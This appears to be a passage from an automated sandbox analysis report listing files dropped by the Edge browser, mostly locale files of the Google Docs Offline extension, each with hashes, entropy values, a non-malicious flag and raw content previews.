Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.410735602387434
Encrypted:	false
SSDEEP:	24:YK0bl5r75riCe0qW+5Ua02EHP5IKL0jZ5JwbX/B+L05+t25qDFm05DZb5M:YK0bl5r75riN0qW+5Ua02sP5IKL0jZ5q
MD5:	3F3DBA0E4E0F13B058CF9E29472250A9
SHA1:	EE348C73FCDDD2DA27186E589185B1B629C19204
SHA-256:	5E0881E5865082D23E7C3B2E6EBAEBA556A97D927C751A60A66C6C740D21F414
SHA-512:	7E10F3A9CDE8D86FD3338F02078F6B9B00CDEAB56F0760F4957A69C2ABC621F73821A5189253CFFECAD0F7A4F8FB49DAEB8ADC75FEAC4CB76D240D90D3259A58
Malicious:	false
Preview:	{"logTime": "1005/074019", "correlationVector":"Jzai6BfByv5amZ45/NBe5r","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"eO8FwRQNRwFtIUhPNa0yBN","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"DFCC0B139A2547CAA3433B33892C7FE6","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075031", "correlationVector":"bWXPYvVSVVANvrGBV6dHxn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075032", "correlationVector":"4CD8E3A1D096444AAB77DA6A690C4356","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075123", "correlationVector":"t3DmiSvoNTibe+/mLDIMfl","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075124", "correlationVector":"B2B504519464422FA5C6E610072CF270","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075313", "correlationVector":"/q9eTq3f/ZawbQrLDVWKju","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075314", "correlationVector":"138D0C7D

C:\Users\user\AppData\Local\Temp\e875ff6a-b9a2-4fd4-a7c3-58b31e772412.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1874970
Entropy (8bit):	7.995635088742967
Encrypted:	true
SSDEEP:	49152:80MaMac+0YpDmKfJXGmv+eb0Cf6RDOdA6Q59tUcsCzjT4:80Maxiaf4mv9nioA6utU9F
MD5:	30D6FD349F2A5A47E4B774A27911C105
SHA1:	7970E2885145B353F4AAA35D7B6B68721EEC3B65
SHA-256:	0AD65C2530E50D15A2A477F9BFEFC9E269048F3F741F19ECF8BB021B7DA6E998
SHA-512:	57A6D470BC76A99D2066B77CF2878CC71446933CED162B49640A4F5689CC37A2EABFF85DC5D2A2FEE90308ED03DC8B6B3EB35FA0C9B5751A430EBE5EC81C4A92
Malicious:	false
Preview:	.PNG........IHDR...2...2......?.....?iCCPICC Profile..H..W.XS...[.....@@J.M......B..6B. ...A...v...].Q..bG.,../.T.u.`W............9.3...{....<.$... _\(...d.JMc.......8.K..@......../..D.^q.k.....-.......q......~...DZ..Q.[L..1.@G...x..g)q..g(.n.Mb<..V..<.4...%.3..YP.....X ....../?....t.m...b.>+.....if.j.xY.X9.EQ...H.xS..t..'..a.+5[../.3......rL..G.....6..D..=.(%[....G.....3...........!..H...)..B.W.:YT.M.X........F.x./.!S.a...<....}Yn.[..:[.U.c......).[....!.C.T......Y.........[B./......LiH..,.``...l.7Z...f'.)..y...\.KB1;i@GX0r`..aP.r..3.8)A..AR.....S$y.{.\....!v+(JP....T....De.xq./<V....D....L .5.L.9@......=!... ............k.(..B$.......BP........2..E....... ...{.b.x.[2x...?..`..x.`...{~...!..bd.......`b.1..B...q?......X]p..50....'...C.5B'..xQ...(.@'..Q."..\..P....}.:T..pC...A?l..zv.,G..<+...6......LF.C..d.G.....\...e..........C............`'.s.a..0.cX........X.....+..:....x..L.8.:w;.Q...'...3A2E*...d...A...N......./...8.w..k.......c.....s......

C:\Users\user\AppData\Local\Temp\e8a20903-04b3-45c8-8a5a-7ab063234101.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\f0e692bf-4e6a-4d08-b3da-1425d291b882.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
